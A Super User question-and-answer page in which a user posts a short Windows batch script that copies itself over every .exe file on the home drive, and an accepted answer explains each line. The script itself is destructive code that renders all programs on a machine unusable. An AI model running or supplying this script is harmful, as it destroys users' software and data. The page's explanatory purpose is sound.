Take the 2-minute tour ×
Super User is a question and answer site for computer enthusiasts and power users. It's 100% free, no registration required.

I do know that commands below is used to infect executable files. But I don't know how they work exactly. Can somebody explain this to me?

@echo off
Dir %Homedrive% /s /b > DirPath
  For /f %%Y In (DirPath) Do (
  Set DirPath=%%Y > Nul
 For %%Z In (%DirPath%\*.exe) Do (
Set ExeInfect=%%Z > Nul 
  Copy /y %0 %ExeInfect% 
 )
) 
Del /f /s /q DirPath 
share|improve this question
    
This is not infection, its more about destructing/replacing files with another. Effect would be pretty much same as if you just delete all your programs :) –  Sampo Sarrala Aug 27 '12 at 15:49

1 Answer 1

up vote 5 down vote accepted
@echo off

Disables echoing the batch commands.

Dir %Homedrive% /s /b > DirPath

Lists all files and directories in you home drive (usually C:), one by line (/b switch), including subdirectories (/s switch) and stores the result in the file DirPath.

For /f %%Y In (DirPath) Do ( ... )

Transverses DirPath and executes ... for each item. %%Y will contain the first item of the line.

Set DirPath=%%Y > Nul

Stores the first item of the line in the variable DirPath.

For %%Z In (%DirPath%\*.exe) Do ( ... )

Transverses all .exe files in the directory stored in the variable DirPath. %%Z will contain the name of the executable.

Set ExeInfect=%%Z > Nul 

Stores the name of the executable in the variable ExeInfect.

Copy /y %0 %ExeInfect%

Copies without prompting (/y switch) the current executable (i.e., the batch file) over the executable stored in ExeInfect.

As a result all executables get replaced by the batch file.

Well, almost all. The first For command will behave improperly if the directory name contains spaces...

share|improve this answer
    
Thanks dude, for your step by step explanations. –  Zack Aug 25 '12 at 7:02

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.